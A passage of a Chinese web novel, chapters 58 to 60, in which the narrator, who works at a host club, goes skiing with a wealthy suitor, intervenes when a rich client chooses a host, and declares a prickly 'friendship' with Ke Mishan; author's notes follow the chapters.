霍亦瑀嘴角噙着笑:“你想做什么都可以,这里只有我们?两个人。” “你什么时候学的滑雪?” “准确来说是大学。” 他也?坐了下来,捻起?地?上的雪,吐出白雾:“因为一个朋友吵着要去雪山,所以也?跟着学了。” “我还以为你没有朋友呢。” “怎么说?” “我看小?说,有钱人都没有真?心朋友的。” “那你要来当我的朋友吗?” 我盯着他看,眼睛转了一圈,作势沉思:“当你的朋友有什么好处啊?” 他笑了起?来,姿态流露一丝锐利:“你这么说不怕我生气吗?” 我歪头看他,低头鼓捣一阵,掏出两颗被搓圆的球,将它们?叠在一起?,递到?他面前:“给你看雪人,别生气。” 他接过摇摇晃晃的雪人,放在手心看了一会,转头盯着我,话突然转了个头:“你和柯觅山是朋友吗。” 我拍掉手上的雪,又搓起?雪人,分心地?回答:“你有我的全?部资料啊。” “我想从你嘴里听到?。” “他才不是。”我哼哼着说,“他是我仇人,我打算气死他。” 他似懂非懂地?点头,嗓音在雪山上显得格外干脆:“我不喜欢跟你说别人,今天是最后一次。” “我不想跟你当朋友。” 我睁大眼睛,难以置信地?以指着他,想把他手里的雪人夺回来。 他笑着往后倾斜,举起?手臂,将雪人举过我的头顶:“我想要的很多,你给我,我自然也?会还给你。” “比起?朋友,我们?应该有个其?他关?系定义,不是吗?” 他说:“放心,我不是那种?人,时间还很长呢。” 他拉着我回建筑里,在旁边的工作人员诧异的目光下,给我擦拭身上的雪,慢条斯理,十分有耐心。 玩雪玩够了,我想玩游戏,于是我把这个想法告诉他,他点头,再次安排直升飞机,这次落点是高级私人会所。 这一次,我走进了他的房间。 比起?柯觅山的要大一点,正对着宽阔的雪山,远处还有一片幽蓝的湖泊,再旁一点,森林沾上雪,像是糖霜蛋糕。 我懒洋洋地?躺在毛绒地?毯里,浸泡在酒味的余韵中,心情极为舒畅,那是一种?拥有世界的快乐,心里跃跃欲试的欲望被填满,我再次确认自己生的是穷病。 一富起?来,啥事没有。 霍亦瑀神出鬼没,不知何时走到?我身边,笑眯眯地?看我玩游戏,等我结束一局后,他拍拍我肩膀,“想来点好玩的吗?” 我好奇地?跟着他往外走,走到?楼梯口时,他向我摊开手掌,“可以吗?” 我把手放上去,摸了摸他掌心的疤痕,“你什么时候被人打了。” “小?时候。”他说,“被绑架过一次。” 我顿时脑补了一出狗血大戏,庆幸自己不是个富人,当然只庆幸了一秒。 他带着我来到?一楼大厅,慢条斯理地?说:“一楼有很多藏品,你要是喜欢就?告诉我。” 能给我吗?我眼睛闪闪发光。 “别急,有趣的事还没发生。” 他忽然靠近,手掌握在我的肩膀上,那双浅棕色的眼睛在光下更加浅淡,带着某种?野性,英俊的五官带着淡淡的兴味。 “你知道让人生气最好的方法是什么吗?” 我想了想,说:“当然是直接挑衅。” “对。” 他转过头,望向大厅一角。 我跟着他的视线看去,柯觅山站在几个人之中,他们?正在交谈,但他盯着我们?,没接话,其?他人也?看了过来。 “果然生气了。” 他说:“去打个招呼吧。” 我挥挥手,那群人一头雾水,柯觅山立着不动,旁边有点眼熟的人瞥了他一眼,表情略显空白,视线飞快扫过我,又看向别处,假装什么也?没看见。 霍亦瑀:“开心吗?” 我摇头,拉着他往后走,压低声?音说:“你不知道,给他发消息能把他气得更惨。” 发完消息还不够,我发了个动态。 “你给我点赞。” 霍亦瑀乐呵呵照做。 我和他躲在一个巨大的盆栽后,观察着柯觅山一行人,他们?在大厅交谈几句后,其?余人说笑着打算去楼上,柯觅山站在原地?,拿起?手机看,唇角的弧度一点点压平,目光冷凝。 但前面的人叫他时,他的脸上重新?挂上如同假面般温和的笑意?。 霍亦瑀悠闲地?评价道:“挺会演的。” “这不是你们?必备的技能吗?”我转头看向他,目光凝在他上扬的唇角。 他直起?身,浅棕色的眸子愉悦地?眯起?,“他需要,我可不需要。” 话里话外透露出一股狂气,我不由多看了他两眼。 “走吧。”他说,“想要什么,当做今天的礼物送给你。” 我瞬间欢天喜地?,高兴地?跟在他身边,在一众昂贵的画作和奇形怪状的摆件中选择了最闪的那个,选完,我突然清醒了。 万一是杀猪盘怎么办? 我目光犀利地?看向旁边悠闲的男人。 霍亦瑀察觉我的视线,唤来旁边的侍从,低语几句,对方立刻行动,动作小?心地?取出放在玻璃柜下镶满钻的小?塔。 “不用担心,我不是那种?小?气的男人。” 会闪光的塔被装进箱子里,然后递到?我手中,我好奇地?问旁边的侍从,“这个值多少钱啊?” 侍从下意?识看向霍亦瑀,接着毕恭毕敬地?说:“上一次的拍卖价是两千五百万。” 我顿时觉得手里的箱子有千斤重。 两千五百万诶。我看向霍亦瑀,他正在低头打量我,视线犹如刀刃,带着观察某种?动物似的、蓬勃的好奇心。 我把箱子推了回去。 霍亦瑀挑眉:“不想要了?” “不是。” 我诚实地?说:“卖二手的话,我大概率卖不出去。” 二手的行情我懂,像这种?极其?贵重的东西?转卖会被当成偷窃,而且特别特别麻烦,重新?回到?拍卖场上需要经过很多道手续。 我说:“就?放在这里,反正每次来的时候都可以看到?。” 只要我来的次数够多,整个高级会所迟早是我的! 侍从表情犹豫,捧着箱子像是捧着炸药似的,再次机敏地?看向霍亦瑀。 “那好。”霍亦瑀干净利落地?应声?,过于浅淡的眸子露出兴味,“那么下次约会就?说好了。” 我眨巴下眼睛,迟疑地?看着他的笑脸,忽然从慢条斯理、慢悠悠的姿态中体会到?了一点奇怪的宽容心,像是在钓鱼一样悠闲悠哉。 不对,他不会是早就?打算好了吧? “持有人会改成你的姓名。” 霍亦瑀像一只咬住猎物的豹子,眯了下眼睛,“它不会长腿跑掉的。” 咬字重重落在跑字上。 我信了。 毕竟霍亦瑀有腿都会主动找来,区区两千万还能跑得掉。 我对此十分自信—— 作者有话说:哎哟,我怎么又写长了,二人转快停下来!!(揪住自己的领子) 第59章 再一次去过高级私人会所后, 我的心态已经彻底脱贫入富了。 总之。 我即将成?为富人。 为了适应以后的生活,我应该从现在?起就开始改变三观,脱离贫瘠的生活方?式,以后只用五十块的牙膏! 激动地翻来覆去一阵后, 我开始整理自己的所有资产。 首先, 银行卡里有两百万实?际资产, 然后,我有哥哥、浦真?天、泉卓逸、麦景和宗朔这五个难以估计的资产。 麦景的卡还在?我这,因为工资还没?发,所以也不知道有多?少钱。 大?概估算, 五个男人加在?一起至少有个一千万吧。 由于是具体的人类,价值浮动很大?,没?法?算作买房资金, 所以这一部分半死不活,只是偶尔能爆金币。 到这一步,我的资产整理戛然而止。 如果他们能变成?银行卡上实?际的数字就好了,不用让我费劲想到底值多?少。 一个人一生能产生多?大?的价值?从长期来看, 拥有他们就像是有一群绵羊,时不时收割一番,永远到达不了杀羊吃羊肉的时候。 如果真?的抵达那一天,一定会很可惜吧, 明明羊毛可以一直薅。 对了。我怎么?把进食这件事给忘了, 因为过于丰裕, 我已经很久没?有考虑过会饿的情况。 所以绝对不能全部卖掉, 至少也需要?保留一个。 人选很明显,不用说就知道。 畅想完宏伟蓝图,生活依然要?继续。 回到[极乐世界], 再次迈入三栋楼建筑时,我有了全然不同的看法?。 第?一次觉得它太?小?了,小?得让我觉得太?过狭窄,如果有钱的话,肯定要?换一个更大?房子,把男公?关的人数翻上两倍,突破一千,然后让他们源源不断地生蛋。 我坐在?吧台后,越看越不满意,此时心思已经飞到天边,回到高级私人会所的落地窗前。 落地窗好啊,可以看到少数人才能分享的风景,波澜壮阔、安全舒适,在?没?有战争和食物危机的世界里,我的贪婪已经不可以抑制。 窝!我要?一个特别特别豪华的窝! 泉卓逸来到我身边时,我正在?畅想买房计划。 “你昨天在?干嘛,为什么?不回我消息?” 他说完又觉得别扭,补充一句:“只是问下,你不想回答也行。” 绿色的眼睛看着我,视线有细密的牙齿,咬着我不放,下颌微微收紧,完全不是不用回答的表情。 “我在?思考一件事。” 我抬手阻止他的发言,问:“你的家大?吗?” “家?”他皱着眉思考,“你的意思是酒店?” “不是。” 我摇摇头:“我指的是你以前住的家,你和你哥的那个家。” “提他干嘛,扫兴。” 但他还是老实?地说了,声音在?喧嚣的背景音乐中显得有些模糊。 “也就是个普通的别墅区,老房子了,离城中心远,除了过年的时候,我才不会回去,夏天到处都有虫,麻烦死了。” “雇个人帮忙打虫啊,你们应该给社会制造岗位。” “又不是没?有。”他嗤笑一声,“但是我们一般只回去住几天,虫子也不会被消灭干净,又不是罩在?玻璃缸里,还是住在?城中心舒服。””你在?想买房的事?我不是说可以帮你嘛,我们可以住一起。” 泉卓逸靠近了些,身上叮当作响,手放在?吧台上时,发出哐的声响。 “不要?。”我摇头,再次拒绝,“我要?自己的房子。” 完全属于我的,其他人要?通过我的允许才能进入。 “行,我买在?你隔壁行了吧。” 我瞥了他一眼,发现他在?笑,顿时不爽了,果然他根本没?懂我的意思! 我双手推他往外?走,赶人去工作。 他执着地拉着我,脸上再次浮现出略显浮躁的情绪,“你已经很久没?找过我了,你真?的还记得我吗。” “泉卓逸。” 我叫他的名字,用看傻子的眼神?看他:“你的名字。” “你知道我不是这个意思。” 他忍耐着说,眉眼下压:“你想要?什么?都行,但你能不能别无视我。” “就算是狗也需要?喂食。” 他的目光湿漉漉的,脸色再次浮现出潮红,脖颈处青筋凸起,难以抑制住激动的情绪。 最近他增肌效果明显,比起以前褪去病气,略长的刘海遮住眼睛,泄露出熟悉的、接近于崩溃的神?态。 人太?多?,我的确快要?忘记他了。 “我也没理其他人啊。” 我说:“昨天我在玩,没?时间回你。” “你去干嘛了。” “滑雪。” “滑雪?跟谁?” “霍亦瑀。” “又是新的人。” 他声音发紧,呼吸也变得急促:“总有人往你面前凑,为什么?源源不断,你就不能、不能停下来吗。” “好吧好吧。”我敷衍地摸了摸他的头,“明天跟你出去玩行吧,你请客。” “……行。”泉卓逸终于安分了,吐气不顺,脸色仍然苍白,最后深深地看了我一眼,才转身离开。 我深感麻烦,因为大?概率又要?当s了,不禁产生了一点愁绪。 拿起手机,看着数量突破99的消息,我连点开都不想,只是平淡地浏览了几条最新的,其余的放在?一边,懒得拆开。 昨天很多?人找过我,不过我忙着享受,一个人也没?回。 怪不得总觉得安静不少。 和手机一样,以前看得津津有味的男公?关也开始无趣,我试图找出有趣的部分,却发现他们竞争的方?式都太?熟悉了,连浮动的情绪都千篇一律。 直到有人来到,打破了这份无聊。 时隔一周,柯觅山的母亲再次来到[极乐世界]。 这一次,她没?带那个名叫郭苑的男公?关,而是跟着几个衣着华贵的女人有说有笑地走进大?厅,又一起前往二楼。 大?部分男公?关都看了过去。 我听见有人说机会来了,跃跃欲试地想上二楼。 荣小?晓一脸兴奋地凑到我身边,贼眉鼠眼地左看右看,迫不及待地交代了八卦。 “郭苑被甩了,现在?已经没?脸出门,肯定躲起来不敢见人,毕竟他前段时间张狂得很,得罪了很多?人。” 他压低声音说:“之前有人推荐他才能搭上柯谷菱,没?想到这次柯谷菱亲自来了,大?家都想试试呢,爬上床成?为下个郭苑。” “不过他们都没?机会,我有小?道消息,直到她会选谁。” “谁?” 他揶揄地笑:“很大?几率是你的哥哥和浦真?天啊!” “她们那群人点了五个男公?关,我还是觉得他们俩更有可能性?,原生脸嘛,竞争优势啊。” 我惊喜地说:“真?的假的?” “真?的。”他说,“你不信可以上去看,在?205。” 此人像个太?监一样看戏,撺掇我上去偷看。 事关重大?,我偷偷摸上二楼。 昏暗的走廊里,壁灯投下暧昧的光影。 上到二楼,我迎面撞见拿着酒的宗朔,他眯起眼睛,只穿了一件黑衬衫,语调懒散地说:”我说过二楼有监控。” “我只是看看。” 我往205看去,急切地问:“怎么?样,形式如何?” 他莫名笑了下,不带任何情绪。 “你的手机呢。” 我不明所以,从兜里掏出手机:“在?这。” “看我给你发的消息。” 我点开聊天界面。 [宗贱朔人]:(分享视频) [宗贱朔人]:今天晚上什么?打算 [宗贱朔人]:又不来上班,至少请个假吧 …… [宗贱朔人]:来办公?室,我有话跟你说 [宗贱朔人]:你把我屏蔽了? …… [宗贱朔人]:别来二楼 [宗贱朔人]:你哥的事等会跟你说 我才看到消息,恍然大?悟地指着手机:“网络延迟,我已经上二楼了。” “……” 宗朔眯着眼睛看我,“算了……他们在?里面,还没?有决定选谁,我事先告诉你,被选上可不是一件好事。” “她的前夫可还没?死。” 我:“所以?” “所以会被报复。” 宗朔的表情有些复杂,眉头微蹙,啧了一声:“祈求她不会看上你哥或者浦真?天吧。” 原以为是暴富,结果是大?坑! “报复的形式是什么?啊。”我仍然抱有一丝侥幸,满怀希望地问,“给五百万出国吗?””我不想说重话。” 他的眉头微蹙,在?昏暗的灯光下显得格外?严肃,”但是,上一个的下场是销声匿迹,拿了多?少钱就要?吐出多?少。” 五雷轰顶,天雷滚滚! 我不由瞪大?眼睛:“怎么?可以这样!” “我们不是免费的!” 我当即掏出手机给柯觅山发消息,让他赶紧给他妈找个新的男宠,不要?来祸害我哥或者浦真?天,不要?来伤害我。 用词极其严重,每句话后面都接了三个感叹号。 我难得生出一点焦躁感,原地转圈圈,连问了宗朔几次真?的会发生吗。 这不就是仙人跳、杀猪盘吗? 为什么?玩男公?关会有成?年人退款模式,这不合理! 宗朔不知何时摸索出烟盒,低头点燃,难以掩饰身上的烦躁,打火机咔哒一声响起,火苗猛地蹿出。 烟雾升起后,他的面容变得模糊,看不清神?态。 他说:“听天由命吧,看个人的造化。” 我觉得自己听到了个笑话。 “这明明是人祸,怎么?听天由命,我不要?。” 我直接不管了,推开宗朔跑进包厢里,他来不及阻拦,猛地转身跟了上来。 包厢里比我想的要?安静,客人们正在?交谈,男公?关插空坐在?其中,偶尔倒酒,目光盯着谈话的客人。 我进来的瞬间,谈话声暂停,所有人看向我。 坐在?中间的女人手中拿着杯子,脸上有岁月留下的痕迹,像一壶老酒,温和亲切,但是在?我眼里,此人是剧毒炸药,要?把我的资产炸得干干净净。 宗朔晚来一步,拉住我的手,将酒瓶塞进我的手里:“抱歉各位,她是来新来的,送酒手脚不太?麻利。” 他暗暗拉住我往后,力道不容置疑。 我跟着点头,装傻说:“确实?忘记了,对了,我刚才收拾东西的时候,不小?心弄坏了两个人的东西,好像是……对了,是你和浦真?天的,你们能出来一下吗?” 哥哥面色凝重,起身朝我走来,站在?宗朔面前,看了他一眼,对我说:“我们出去说。” 我挣脱宗朔的手,抓住哥哥,把他往外?拉。 宗朔被我撞到旁边,目光晦暗。 但还没?走出去,坐在?主位的女人悠然开口。 “不急。” 她的声音在?静谧的包厢里显得格外?清晰。 “东西坏了就坏了吧,先把酒给我们倒上。” 哥哥停住脚,握住我的手力道加重,片刻后自然地松开,抢过我手里的酒,率先一步转身回到桌前,熟练地打开瓶盖,开始倒酒。 我转过身,对上坐在?中间女人含笑的眼睛。 她在?看我,其他人也是。 浦真?天拧着眉,还没?明白发生了什么?,但眼中先一步露出担忧的神?色。 哥哥将桌上的杯子满上时,宗朔经过他,来到沙发角度坐下,大?半张脸浸没?在?黑暗中,双腿交叠,沉默地看着。 包厢里很安静,除了音乐声,只有倒酒的声响。 “来。”柯谷菱朝我招招手,“坐下吧,站着累。” 我老实?地坐在?她身边,视线在?其他男公?关身上打转,试图找出他们的能被富婆看上的地方?。 上一个郭苑长相中上,我光记得他的傲慢了,长相嘛,比不上哥哥和浦真?天。 或许柯谷菱喜欢没?那么?好看的。我想。 桌上的酒杯被分配到每个人手中,哥哥也坐下了。 其他客人继续之前的话,是我听不懂的商业术语,原来她们坐着还在?聊工作,或者说生活上的事,完全没?有注意旁边的男公?关,只有杯子里液体减少时,才会像拍宠物似的关心一下。 我好奇地看着她们,搞不懂为什么?要?玩男公?关仙人跳。 至少不要?摧毁我的财产吧。 如果真?的选中哥哥或者浦真?天,说不定我要?跟着一起出国,我不想。 在?莫名紧绷的氛围中,我的脑袋里蹦出一万个问题。 郭苑的销声匿迹是指物理上的,还是名声的上的? 他还活着吗? 我转头看向坐在?旁边的哥哥,他一直看着我,放在?膝盖上的手指捏紧,用力到发白。 此时,客人们高谈阔论短暂地停下了。 主要?是我旁边的女人停下说话,视线不轻不重地落在?我身上,忽然柔声将话头转向我:“你在?这里工作?” 我先看了眼其他人,然后点点头。 “多?大?了。” “我成?年了。” “刚成?年不久吧,很年轻啊。”她说,“不应该来这浪费时间的。” “你喜欢这里吗?” “还好吧。”我又看了宗朔一眼,他低头握着手里的杯子,既没?有说话,也没?有任何行动。 在?我说话时,他撩起眼皮看向我,眸光晦暗不明。 房间没?有开闪动的模式,而是被调成?深蓝的幽光,时明时灭,像是掉进深海里,和一群鲨鱼面对面。 “那在?场的男公?关里,你最喜欢谁。” 只是普通的询问,但我立马警觉起来,觉得她是在?问我选人的意见,于是目光一转,指向坐在?左边的、我不认识的人。 “他啊。” 被指的男公?关笑容亲切,目光放在?柯谷菱身上,像是迫切等待被选择似的。 柯谷菱:“他叫什么?名字。” 绞尽脑汁想来想去,仍然想不起来,于是我放弃了:“不知道。” “那看来你也没?有那么?喜欢他嘛。” 身旁的女人忽然抬起手,抚摸我的发丝,动作轻巧,弯眸时和柯觅山相似得惊人,温润尔雅,但眼中的光却很亮,像是一根细细的针。 “那你认识在?场的哪位呢?” 她说:“说谎不好,告诉我实?话吧。” 她的视线转向哥哥,笑着问:“是他?” 气氛再次紧绷。 旁边的女人像是一只庞然巨物,等待着毁掉我的资金,毁掉我幻想中的大?房子,让我压力山大?。 房子距离我更远了。 我唉声叹气,视线在?房间里转悠了一圈。 有人在?看戏,有人在?紧张,有人冷眼旁观。 我又叹了口气,旁边的女人拍了拍我,慢条斯理地说:“不紧张,我又不会做什么?。” 我问:“那你喜欢哪一个?” 问句脱口而出,房间安静无声,放在?身上的视线几乎凝实?。 宗朔看着我时,表情冷凝,像一块应该被摆放在?玻璃柜里的雕塑,很少见的没?有表情。 柯谷菱笑容加深:“不怕我选到你喜欢的?” “你可以不要?选我喜欢的吗?” 她脾气很好地说:“不行。” “骗你的。”她忽然又改口,“我可不会为难小?孩子。” 她摸了下我的头,身上飘散着淡淡的香水味,弯眸时眼角挤出细纹。 “冲动不是好事啊,不过,我喜欢你的冲动,很年轻,让我想到了以前。” 她放下手,忽然看向浦真?天,说:“这也是你喜欢的?” 我立马指向哥哥,补充道:“那个我喜欢。” 柯谷菱平静地点了点头,手指在?腿上啪嗒啪嗒地敲击,微垂着眼帘,嘴角笑容依旧,神?情让人猜不透。 “你要?选一个吗?” “或许。”她说。 “不要?选我喜欢的。” 我认真?地说:“我可以给你介绍其他人。” 柯谷菱淡淡地笑了下,目光落在?我身上,“像你这么?大?胆的,我已经很久没?遇到了,那你就选一个吧,你觉得谁来当?” 她将选择权交给我,我立马指向第?一个男公?关,他做出惊讶的表情,目光犹豫地看向柯谷菱。 “就他吧。” 腿上的手指停止敲击,她忽然感慨道:“十八岁啊,不应该留在?这种地方?。” “被其他东西绊住脚,可是很难再爬上去的。” 她和柯觅山一样爱说意味不明的话,但比柯觅山好,因为她很大?方?,转头就给在?场的男公?关冲了业绩,每个点了个香槟塔,将气氛拉热。 我松了口气,乐滋滋地看着其他人摆放香槟塔。 然而,下一秒,一个不速之客推开包厢的门,迈进热闹之中。 柯觅山风尘仆仆,面带寒气,直直对坐在?主位的柯谷菱说:“到底还要?多?久,停下吧,你知道外?面的人在?说什么?吗?” 房间再次安静下来,音乐被不知道谁暂停了。 “觅山啊。”柯谷菱表情淡淡的,“你终于有时间停下工作来找我了。” “我一直有时间,是你在?躲我。” 柯觅山几乎维持不住温和的笑脸,咬牙切齿地说:“一个就够了吧,再来一个,你是想彻底搞乱自己的名声吗?至少不要?故意秀出来让所有人知道行吗,公?司的股票——” “我怎么?不知道,一点桃色新闻会影响公?司股票?” “回去吧。”柯谷菱坐着,却显得居高临下,“不要?总是胡闹。” “妈!”柯觅山终于忍不住了,情绪一瞬间极其高涨,“你有想过我吗?!” 柯谷菱的表情也冷了下来,露出复杂的神?情,她笑了下,“怎么?没?想过呢,你现在?不是正在?享受我给你留下的成?果吗。” 柯觅山顿在?原地,很快恢复冷静,朝宗朔点了下头,“宗老板,今天晚上的消费由我来承担。” 宗朔看了眼坐在?主位的中年女性?,淡淡地说:“当然没?有问题。” 母子俩对望了几秒,柯谷菱先起身,自然地宣布结束,和在?场的人挨个道别,然后施施然离开了。 柯觅山目送她离开,目光逐渐沉了下来。 陆陆续续,其他人也走了,那个被选中的男公?关忍耐着兴奋,经过我时说了句谢谢。 房间里只剩下五个人。 宗朔仍然坐在?原位,习惯性?摩挲着西装裤口袋,大?半张脸浸没?在?黑暗中,看不出表情。 浦真?天和哥哥起身,一个仍然搞不清楚发生了什么?,表情凝重,一个焦躁得像只刺猬,浑身冒着黑色的情绪。 柯觅山看了眼其他人,又看向我,礼貌地说:“学妹,聊一下吧。” 哥哥下意识拦住我,但对视几秒后,他让开身位,紧捏着拳头,看着我跟着柯觅山出去。 为了找个安静没?人的地方?,我们到了三楼天台,屋外?冷风萧瑟,霓虹大?楼没?有一丝温度,正好吹散身上的热气,让我终于从兴奋的状态中脱身,回味起刚才发生的一切。 有点好玩。我想。 “你可以找霍亦瑀。” 柯觅山靠在?栏杆处,嘴角的弧度抹平,彻底不再掩饰攻击性?:“他才是你的目标,不是吗?” 我一头雾水:“你妈找男公?关,和他有什么?关系?” “谁来都一样。”他冷淡地说,“想保下人,谁来了都可以让她换个人选。” “其实?你不来呢没?事,她挺好说好话的。” “……” 柯觅山冷笑道:“现在?想让我走?” 我觉得这人说不通,于是摊开手,任由夜风灌进衣袖:“你想怎么?想就怎么?样吧,反正说不通,我也不懂你的脾气,对了,我压根不想知道你和你妈的事,也不知道为什么?,你一直觉得我想知道。” 柯觅山的表情被风吹散,彻底冷下脸时,才像是他本来的模样,眉头微蹙,像看着一个难懂的谜题一样看我。 “就因为我没?给你,所以你就选了其他人,一直出现在?我面前,扰乱我的情绪,你到底想怎么?样?” “你在?说什么??” 我难以理解他的话,疑惑地说:“我什么?时候一直出现在?你面前了?” 他冷淡地勾起唇角,“没?有吗?要?我数数你做了几次这种事吗?” 他摆明了要?跟我掰扯清楚,一条条细数我的罪状,虽然我压根不知道我做错了什么?。 我只是想蹭吃蹭喝而已,我有错吗? 没?有。 “你喜欢我?”我想了想,问。 柯觅山冷着脸,面无表情地说:“……别开玩笑了。” “现在?来问我这种问题,以为我会忘记昨天你和霍亦瑀在?一起的事吗。” “我觉得你误会了。” 柯觅山的表情缓和了点。 “你说对了,我换人选了,不过从头开始,我都没?有想跟你发展其他关系。” “你似乎想得有点多?。” 像是被人扇了一巴掌似的,所有情绪凝固在?脸上,他盯着我,那双深蓝色的眼睛深沉得近乎黑,情绪在?他身上翻涌着。 “我不喜欢你。” “我挺讨厌你的。” “我讨厌别人不回消息,讨厌别人装出一副高深莫测的模样,讨厌别人做自以为的事,你很装你知道吗?” 我说:“那天在?餐厅里,你的模样很讨人厌。” “你总是在?做我不喜欢的事,这就是有钱人的傲慢吧,你有钱的样子,我也不喜欢。” “我只是喜欢你的钱而已。” 我盯着他看,看着他瞳孔收缩,一副难以接受的表情。 “你本来就是这么?想的吧。” 我靠近他,仔仔细细地看他的表情,确定他身上沸腾的情绪是哪一种。 他拧着眉头,露出不适的表情,想要?躲避我的视线。 “我不想知道你的事,你的心情也好,感情也好,对我来说什么?也算不上,或许以前我会想听,因为我想要?你带我出去玩,体验不一样的东西,但现在?我不需要?了,就像你说的那样,我有了更好的人选。” “不过。”我重新申明,“我从来没?想跟你发展其他关系,我不喜欢你,我对你没?有欲望,就算脱光衣服,我也不会有一点反应的。” 等等,如果他穿男仆装的话…… 柯觅山脸上浮现出怒气,像是被激怒,打破温柔的假面,和风一样冷,目光紧锁着我,声音低沉,“我不会当你的踏脚石,你别想轻而易举地迈过我、利用我,我脾气好到你觉得我不会报复吗?” “好吧。” 我想了想,随口道了句歉,然后说:“现在?你该对我说对不起了。” “然后我们就可以和好了。” 我说:“我们可以当朋友。” “……你在?开玩笑吗。” “我是认真?的。”我抬起手,摆出等待握手的姿势,“其实?我也没?有那么?讨厌你,你长了一张我会喜欢的脸,很符合我的审美。” 说完缺点,我又开始讲他的优点。 “不仅如此,你还很有钱,有品味,大?多?数时候人很温和,即使装也会装下去,表面上不计前嫌,背地里可能还耿耿于怀。” “总之,你人挺好的。” “……” 柯觅山气笑了:“原来在?你心里,我是那种会轻易原谅的人,不傲慢了?不令人讨厌了?” 仔细想想,虽然背地里不知道,但表面上,他每次都原谅了。 我看着他,露出笑:“是的。” 柯觅山冷着脸,五官在?霓虹灯下渲染出浓重的阴影,他没?有说话,也没?有动。 但在?我即将收回手时,他握了上来。 力道极大?,像是要?捏碎我的手一样。 他咬牙切齿地说:“好啊,当朋友。” “既然你讨厌我,我也会讨厌你的。” “来相互讨厌吧。”他说,“这位朋友。” 甜姜的气息猛然增长后又狠狠压缩回去,像是一枚行走的炸弹。 柯觅山成?为了我心目中第?二号能忍的人。 握完手,他再次挂起温和的笑,慢条斯理地整理衣领,然后头也不回地走了。 我盯着他离开的背影,不由感慨地哇了一声。 回到楼下,哥哥和浦真?天等在?楼梯口,宗朔站在?远处,轻飘飘地看了我一眼,默不作声地离开。 很明显,他在?生气。 被哥哥抱紧时,我在?心里发出感慨。 男人真?是一种难以理解的生物—— 作者有话说:我能做到十章结束前半段吗?(我能吗(我能吗(我能吗) 学哥也是个极其能装的入啊,心理路程堪比过山车,简而言之就是觉得小冬是来勾引自己,但中途着迷一下立马防沉迷,然后因为小冬读不懂自己的暗示生气,觉得冷一下会让她知道自己的重要性,结果人压根不鸟他,等反应过来,已经有新选择了,立马怒了,怒火滔天要燃爆了,结果直接被扯烂懵了,只能强装下去,当个虚情假意的朋友,要用高姿态俯视,然后又被打脸,这样循环往复…… 在第一次约出去玩的时候,从飞机上下来没吃饭,想跟小冬一起吃,结果咚睡到下午,还不吃饭,于是憋屈地等晚上,结果晚上不跟他出去吃饭,于是加班工作也不吃了,冷傲地把咚送回去,第二次想跟人拉近关系,让她体验一把高级生活迷上自己,结果打游戏太菜被嫌弃,妈又搞出一堆事,烦得想杀人,转头一看咚已经勾搭上别人,心已死打算彻底断掉 结果就是忘又忘不掉,妈还在跟男公关玩,因为想文件的事,心情莫名地来到店外,结果咚来了,以为她是故意气自己的,直接上了,又装了一波,打算找个台阶下,转头被霍突脸,刚活过来的心又死了(何意味),然后就是现在,以为咚在求助,于是水灵灵地来了,和妈吵一架,然后想彻底聊开(你对我有意思我对你也有点意思吧嗯),然后就被打烂了……嗯嗯 唉呀妈呀,太长了,怎么写出这种贱男的(疑惑),后面肯定会让他跪的,怎么能不跪呢是吧 感觉每个男的都能有一篇巨长的心理起伏,内心戏极其丰富 宗朔也不是好入,先吵一架吧(吵) 第60章 我和宗朔开?始冷战了。 再?具体一点, 我压根没用手机,直接开?启了静音模式,连他?发没发消息都不清楚。 安静得诡异的夜晚过后,我醒来时盯着天花板发呆, 手机在旁边时不时嗡嗡震动, 还挺有节奏的。 冬日的晨光透过百叶窗, 在被子投下斑驳的条纹。 我还在想,想买房的事,想着更有钱的事,当哥哥来敲门的时候, 我自然地告诉他?今天不去了。 我终于顿悟:上班一点也不好?玩。 每天待在一个地方,和在学校里坐牢有什么区别?反正主要赚钱的是哥哥和浦真天,我去不去都无所谓。 门口始终晃动着一道瘦长的影子, 柠檬的清香从门缝里丝丝缕缕地渗进来,从昨晚开?始,哥哥就像个尽职的门神,焦躁地在门外徘徊, 欲言又止。 他?总是要等到自己受不了才开?口,而且现在的底线越来越低,上次的爆炸后,下次是多久? 我偏着头看门缝, 那条影子立在原地, 执拗地穿过门缝, 占据一隅。 等关门声?终于响起, 我在被窝里赖了一会儿,直到手机开?始疯狂震动,一个接一个的电话像催命符似的, 才慢吞吞地爬起来收拾出门。 昨天答应泉卓逸和他?一起出去,我当然不会忘。 他?对业绩的追求时有时无,说翘班也就翘了,反正他?有钱,不缺那点。 他?在商业街十?字路口等我,穿着件浅灰色薄棉袄,围着那条我们一起买的围巾。 傍晚的寒风卷着枯叶打?旋,泉卓逸站在路灯下,呼出的白气在昏暗的光线中缭绕。 大部分时候,我的作息时间和夜行生物?重合,出门总能?看到白天接近傍晚的夕阳。 我到达的时候,泉卓逸的视线立刻锁住我的脖颈:“围巾呢?” “那个啊,忘记了。”我耸下肩,任由冷风嗖嗖地灌进脖子。 他?咬了下唇环,解下自己的围巾给我系上,还带着体温的羊毛织物?裹住脖颈,沾染着他?身上淡淡的香水味,但在甜腻的情感?掩盖下,我辨别不出到底是哪种气味。 因为毫无计划,我们像两个哑巴似的沿着热闹的商业街漫步。 我在走?神,他?在想乱七八糟的事。 一直走?到横跨江道的大桥边,我们也没说一句话。 走?累了,我就拽了他?一下,在河边的长椅坐下。 冬季冷风萧瑟,天空呈现出灰沉的颜色,江对面的高楼大厦不多,低矮而平整,偶尔几?处亮着光,显得灰暗冰冷,周围安静无声?,只有经过的路人牵着的狗汪汪叫了两声?。 刚坐下,屁股便感?到一阵冷意,我立马低下头看是不是湿的,结果只是因为铁制的太冷了而已,腿旁边有片树叶,我转头张望,没看到一颗树。 泉卓逸忽然开?口:“昨天我听说柯觅山他?妈来了……没事吧?” 所以这片树叶是哪里来的? “昨天你回去得好?早,我想找你的时候已经没影了,问?的时候才知道你去了二楼,至于你哥的事,我刚知道不久,昨天晚上才意识到柯觅山他?妈是来选小白脸的,但是应该没选中你哥吧,他?们说,是另外的男公关……” 灌木丛吗。我往椅子后面看去,不远处花坛里的植物?叶片稀疏,头发一点也不茂密。 可能?是风吹过来的。 我像侦探一样破了谜案。 “柯觅山他?妈只是想选个小白脸而已,肯定不会出什么大事,如果选中你哥或者浦真天,不是正好?气死柯觅山嘛,反正,如果有问?题我都会帮你的……你在听我说话吗?” 耳边的人声?加重,呼吸局促了些,在冷风中像固执的火苗,怎么也吹不灭,攥着我的手用力,指节如同在火中燃烧的枯枝。 如果能?烤火就好?了,我想,坐在江边好?冷。 “——不要无视我了!” 声?音猛地拔高,像穿过楼栋吹得衣服哗啦作响的风声?。 